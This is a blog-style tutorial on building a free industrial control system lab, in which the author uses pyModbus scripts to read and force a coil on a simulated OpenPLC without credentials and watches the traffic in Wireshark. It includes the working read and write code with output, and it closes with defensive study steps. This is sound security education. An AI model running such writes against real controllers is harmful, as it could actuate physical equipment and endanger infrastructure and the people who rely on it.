By RUGERO Tesla (@404Saint).
Before today, I had never touched industrial security. I just had a PC, some free software, and a curiosity about how critical infrastructure actually works under the hood.
What I found kind of scared me.
Let me set the scene
Power grids. Water treatment plants. Oil pipelines. Manufacturing floors. All of these run on something called an ICS — Industrial Control System. At the heart of most ICS environments is a PLC — a Programmable Logic Controller. It's basically a rugged little computer that controls physical things. Open this valve. Spin this motor. Turn on this pump.
These systems run the world. And a lot of them are shockingly easy to talk to.
I don't mean that in a theoretical way. I mean I literally sat at my Ubuntu machine, ran a Python script, and forced a PLC's output from OFF to ON — from across the network, with zero credentials, in under a minute.
Let me show you exactly how I built the lab that made that possible.
Why ICS Security is Different (and Broken)
In regular IT security, you have layers. Firewalls. Authentication. Encryption. Zero trust. People have been fighting that battle for decades and while it's far from perfect, there's at least a culture of security.
ICS is a different world entirely.
A lot of industrial protocols were designed in the 1970s and 80s. The engineers building them weren't thinking about cyberattacks, they were thinking about reliability. Getting a signal from point A to point B, fast and consistently, on a factory floor.
Modbus is the perfect example. It's one of the oldest and most widely used industrial protocols in the world. It has:
- No authentication
- No encryption
- No authorization
If you can reach a device that speaks Modbus on the network, you can read from it and write to it. Full stop. The protocol doesn't ask who you are.
This isn't a bug. It was a design decision that made sense in 1979 when everything was air-gapped and physically isolated. The problem is that the world changed; OT networks got connected to IT networks, which got connected to the internet, but the protocols stayed the same.
That's the core of why ICS security is broken. And the best way to understand it is to see it yourself.
The Lab I Built for $0
Here's everything I used:
| Tool | What it does | Cost |
|---|---|---|
| OpenPLC | Simulates a real PLC | Free |
| FUXA | Basic HMI dashboard | Free |
| Ignition Maker | Industry-grade SCADA/HMI | Free (Maker license) |
| pyModbus | Python Modbus client | Free |
| Wireshark | Packet capture | Free |
| VirtualBox | VM hypervisor | Free |
My Hardware
- Host Workstation: Intel i5 PC, 16GB RAM running EndeavourOS (Arch Linux)
- Attacker Node: Separate physical Ubuntu machine on the same local subnet
No physical PLCs purchased. No expensive lab kit. Just software and two computers most people already have lying around.
How It's Wired Together
Here's the architecture in plain terms:
[ Attacker Machine — Ubuntu ]
|
| Local Network
|
[ Host Machine — EndeavourOS ]
|
├── OpenPLC (Docker) ── The "PLC"
│ |
│ └── FUXA (Docker) ── Basic HMI, reads the PLC
│
└── VirtualBox
|
└── Windows 11 VM ── Ignition ── Industry SCADA, also reads PLC
OpenPLC is our simulated PLC. It runs ladder logic and speaks Modbus/TCP on port 502. FUXA and Ignition are two different HMIs — the operator-facing dashboards that show what the PLC is doing. The attacker machine bypasses all of that entirely.
Stage 1 — Getting the PLC Running
I deployed OpenPLC via Docker, mapping the control interface and web administration ports:
docker run -d --name openplc -p 502:502 -p 8080:8080 wzy318/openplc
Port 8080 is the web interface. Port 502 is Modbus — the one that actually matters.
I loaded a simple ladder logic program, hit Start PLC, and confirmed the status said Running.
Stage 2 — Connecting the HMIs
FUXA
FUXA also runs in Docker. The trick here is that two separate Docker containers cannot talk to each other via 127.0.0.1 natively without sharing a network namespace. I had to find OpenPLC's internal bridge network IP:
docker inspect openplc | grep IPAddress
Returns something like `172.17.0.2`
Then, inside FUXA's connection parameters, I specified: 172.17.0.2:502, type Modbus TCP, and toggled Enable to ON.
Green dot. Connected.
Ignition
Ignition runs on the Windows 11 VM. Because it's isolated inside a hypervisor, I couldn't use 127.0.0.1 — I needed the host machine's actual LAN IP. I extracted it using:
ip addr show | grep "inet " | grep -v 127
Inside the Ignition Gateway web console, I mapped: Config → OPC-UA → Drivers → Create New Device → Modbus TCP Driver. I plugged in the host's LAN IP and port 502.
Status configuration: Connected.
At this point, two completely different HMIs are actively polling the exact same PLC. This reflects a realistic production environment—facilities frequently leverage redundant operator stations to track field equipment.
Stage 3 — The Attack
Here's where it gets uncomfortable.
From my Ubuntu attacker machine — a completely separate physical asset on the subnet — I installed pyModbus:
pip3 install pymodbus
First, I performed low-level reconnaissance to read the PLC's coil registers. Coils are binary outputs representing an ON or OFF state:
from pymodbus.client import ModbusTcpClient
# Connect directly to the PLC bypass target
c = ModbusTcpClient('192.168.1.100', port=502)
c.connect()
# Read the first 8 digital output coils
r = c.read_coils(address=0, count=8)
print('Coils Status:', r.bits)
c.close()
Output:
Coils Status: [False, False, False, False, False, False, False, False]
All off. I can audit the live state of an industrial system with no login, no session token, and no authorization checks.
Then, I executed the injection write command:
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('192.168.1.100', port=502)
c.connect()
# Force the first coil to an assertive True state
c.write_coil(address=0, value=True)
# Re-verify live register array status
r = c.read_coils(address=0, count=8)
print('Coils After Manipulation:', r.bits)
c.close()
Output:
Coils After Manipulation: [True, False, False, False, False, False, False, False]
Coil 0 successfully flipped to ON.
In a real industrial facility, that specific register might map directly to a water pump, an oil valve, or a conveyor motor. I just forced it to actuate from a completely unauthorized host on the network — entirely bypassing the monitoring systems.
The scary part? The supervisory dashboards still thought everything was executing under native parameters. Nothing on the operator's display actively flagged that a raw protocol injection had overridden the logical controller.
Stage 4 — Watching It in Wireshark
I initialized Wireshark on the host workstation and isolated the interface traffic with a clean display filter:
tcp.port == 502
Re-running the manipulation script captured the raw, unencrypted execution blocks in real time: Function Code 01 (Read Coils) followed immediately by Function Code 05 (Write Single Coil).
That unencrypted protocol exchange is the exact smoking gun industrial Network Detection and Response (NDR) tools like Claroty or Dragos actively hunt for inside production subnets.
What This Actually Means
This isn't a toy exercise. The exact attack pattern demonstrated here maps directly to the foundational methodologies behind the most legendary industrial cyber weapons in history.
- Stuxnet (2010): Did not target or alter the operator visual dashboards initially. Instead, it directly injected malicious payload variations into field PLCs to alter frequency generator drives, while simultaneously playing back cached, completely normal-looking telemetry to the SCADA interface. Operators watched normal screens while physical components were actively driven to catastrophic failure parameters underneath.
- Oldsmar Water Treatment Attack (2021): An unauthorized entry manipulated an active HMI console to scale chemical additive targets to dangerous concentrations. While a vigilant operator manually intercepted the modification, the control layers lacked native automated validation structures to stop it.
The underlying reality remains unchanged: the protocol tier treats network accessibility as complete authentication. If you exist on an unsegmented OT network and speak native machine protocol, you are implicitly trusted.
Where to Go From Here
If this sparked your curiosity about infrastructure security, here is a clear path forward to build your skills:
- Build this environment: Spin up these containers and see it live. The complete guide and script parameters are completely open-source.
- Master the industrial stack: Start with Modbus/TCP, then branch into tougher operational protocols like DNP3 and OPC-UA.
- Analyze threat taxonomies: Study the MITRE ATT&CK for ICS matrix to see how adversarial tactics map directly to register manipulation.
- Deconstruct industry frameworks: Review compliance goals established by the ISA/IEC 62443 zone protection standard.
- Architect network defense: Deploy a simulated network inside GNS3, split your layout into isolated zones, and build a proper firewall barrier to experience how defense actually works.
ICS/OT security remains one of the most critical, high-stakes, and deeply underserved areas in the global security industry. The talent gap is massive, and you don't need a multi-thousand-dollar physical lab to learn the core engineering primitives.
The alarming truth isn't that industrial infrastructure security is impossibly complex to learn. The alarming truth is how simple it is to exploit.
The complete step-by-step setup documentation, structural notes, and attack scripts are completely documented and available at github.com/404saint/ics-ot-homelab






Top comments (0)